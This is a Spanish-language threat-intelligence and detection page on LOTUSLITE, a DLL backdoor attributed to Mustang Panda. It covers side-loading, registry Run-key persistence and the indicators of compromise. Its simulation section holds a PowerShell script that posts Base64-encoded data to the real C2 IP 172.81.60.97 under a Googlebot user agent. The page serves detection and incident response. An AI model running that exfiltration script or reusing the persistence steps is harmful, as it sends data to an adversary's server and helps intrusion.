Campaña LOTUSLITE: Espionaje dirigido impulsado por narrativas geopolíticas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Acronis TRU observó una operación de espionaje dirigida a organizaciones gubernamentales de EE. UU. que entregó una puerta trasera DLL maliciosa, LOTUSLITE, dentro de un archivo ZIP con temática política. Un ejecutable cargador adjunto carga lateralmente la DLL, después de lo cual la puerta trasera envía señales a un endpoint C2 codificado duramente a través de HTTPS mientras se hace pasar por un agente de usuario Googlebot. Los operadores establecen persistencia creando un directorio ProgramData dedicado y agregando una entrada de registro Run. Basado en una técnica y patrones compartidos, la actividad se vinculó a Mustang Panda.
Investigación
Los analistas descomprimieron el ZIP e identificaron el binario de carga (Maduro to be taken to New York.exe) junto a la DLL armada (kugou.dll). El análisis documentó el flujo de carga lateral de la DLL, el comportamiento de señalización, el uso de mutex y los artefactos exactos de persistencia creados en el anfitrión. La revisión de la infraestructura atribuyó las comunicaciones a una sola IP (172.81.60.97) y un dominio alojado en spryt.net, presuntamente hospedado en Phoenix, Arizona. La atribución a Mustang Panda se evaluó con una confianza moderada debido a tácticas e infraestructuras compartidas.
Mitigación
Las detecciones de Acronis se basaron en hashes SHA-256 para los binarios maliciosos y destacaron la carpeta de persistencia específica en ProgramData y la ubicación de la clave Run. Los controles de red deben marcar conexiones HTTPS salientes a la IP/dominio identificados cuando se combina con una cadena de agente de usuario Googlebot. Reduzca la persistencia evitando la ejecución de binarios desconocidos desde ProgramData y eliminando la entrada de registro Run asociada cuando se descubra.
Respuesta
Aísle inmediatamente los endpoints afectados, capture datos volátiles y preserve los binarios maliciosos para su análisis. Elimine la carpeta ProgramData creada y borre el valor de registro Run correspondiente para romper la persistencia. Bloquee la conectividad a la IP y dominio de C2, y actualice las detecciones de endpoints con los hashes de archivo proporcionados e indicador de mutex. Finalmente, lleve a cabo una búsqueda en todo el entorno para encontrar hosts adicionales que muestren las mismas firmas de cargador y DLL.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#c2f0c2 classDef action fill:#99ccff %% Nodes with technique details initial_access[«<b>Técnica</b> – <b>T1566.001 Spearphishing Attachment</b><br/>Entrega de un archivo ZIP malicioso que contiene un ejecutable cargador y una DLL maliciosa.»] class initial_access technique execution[«<b>Técnica</b> – <b>T1574.001 Secuestro del Flujo de Ejecución: DLL</b><br/>El ejecutable cargador carga lateralmente y carga <i>kugou.dll</i> como la puerta trasera.»] class execution technique defense_evasion1[«<b>Técnica</b> – <b>T1036 Suplantación</b><br/>Renombra el cargador a «Maduro to be taken to New York.exe» y la DLL a «kugou.dll», imitando archivos legítimos de transmisión de música.»] class defense_evasion1 technique defense_evasion2[«<b>Técnica</b> – <b>T1036.003 Renombrar Utilidades Legítimas</b><br/>Usa nombres de conocidas utilidades de streaming de música de Tencent para ocultar componentes maliciosos.»] class defense_evasion2 technique discovery[«<b>Técnica</b> – <b>T1033 Descubrimiento de Propietario/Usuario del Sistema</b><br/>Llama a GetComputerName y GetUserName para recopilar información de host y usuario.»] class discovery technique command_exec[«<b>Técnica</b> – <b>T1059.003 Shell de Comandos de Windows</b><br/>Genera un <i>cmd.exe</i> shell interactivo a través de tuberías anónimas.»] class command_exec technique persistence[«<b>Técnica</b> – <b>T1037.001 Scripts de Inicialización de Arranque o Inicio de Sesión: Script de Inicio</b><br/>Crea <i>C:\ProgramData\Technology360NB</i>, copia exe como <i>DataTechnology.exe</i>, agrega la clave Run <i>Lite360</i> bajo HKCU.»] class persistence technique c2[«<b>Técnica</b> – <b>T1102 Servicio Web</b> / <b>T1102.002 Comunicación Bidireccional</b> / <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/>Usa WinHTTP para POST a https://172.81.60.97 sobre el puerto 443 con Googlebot User‑Agent, remitente Google y encabezado mágico 0x8899AABB.»] class c2 technique %% Flow connections initial_access –>|lleva_a| execution execution –>|habilita| defense_evasion1 defense_evasion1 –>|apoya| defense_evasion2 defense_evasion2 –>|proporciona| discovery discovery –>|habilita| command_exec command_exec –>|facilita| persistence persistence –>|establece| c2
Flujo de Ataque
Detecciones
Posibles Puntos de Persistencia [ASEPs – Hive de Software/NTUSER] (vía evento_de_registro)
Ver
IOCs (SourceIP) a detectar: LOTUSLITE: Espionaje dirigido aprovechando temas geopolíticos
Ver
IOCs (DestinationIP) a detectar: LOTUSLITE: Espionaje dirigido aprovechando temas geopolíticos
Ver
IOCs (HashSha256) a detectar: LOTUSLITE: Espionaje dirigido aprovechando temas geopolíticos
Ver
Detección de Comunicación C2 de la Puerta Trasera LOTUSLITE [Conexión de Red de Windows]
Ver
Campaña de Espionaje Dirigido Usando la Puerta Trasera LOTUSLITE [Creación de Proceso de Windows]
Ver
Ejecución de Simulación
Prerequisito: La Verificación de Telemetría y Baseline de Pre‑vuelo debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
El atacante ha comprometido una estación de trabajo e instalado la puerta trasera LOTUSLITE. Para exfiltrar datos mientras se mezclan con el tráfico legítimo del rastreador web, la puerta trasera emite un POST HTTP al servidor C2 codificado duramente172.81.60.97. Establece explícitamente el encabezadoUser‑Agenta “Googlebot” para hacerse pasar por un rastreador de motores de búsqueda, con la esperanza de pasar inadvertido por las defensas perimetrales que permiten tales agentes. La carga útil contiene datos exfiltrados codificados en Base64. -
Script de Prueba de Regresión:
# Simulación C2 de LOTUSLITE – powershell $c2 = "http://172.81.60.97/receive" $ua = "Googlebot" $data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("carga útil de datos sensibles")) $body = @{ "data" = $data } try { Invoke-WebRequest -Uri $c2 -Method POST -Headers @{ "User-Agent" = $ua } -Body ($body | ConvertTo-Json -Compress) -UseBasicParsing Write-Host "Solicitud C2 enviada con éxito." } catch { Write-Error "Solicitud C2 fallida: $_" } -
Comandos de Limpieza:
# Eliminar cualquier archivo temporal o conexiones de red persistentes Remove-Item -Path "$env:TEMPlotuslite_temp*" -ErrorAction SilentlyContinue # (No se crearon servicios persistentes en esta simulación) Write-Host "Limpieza completa."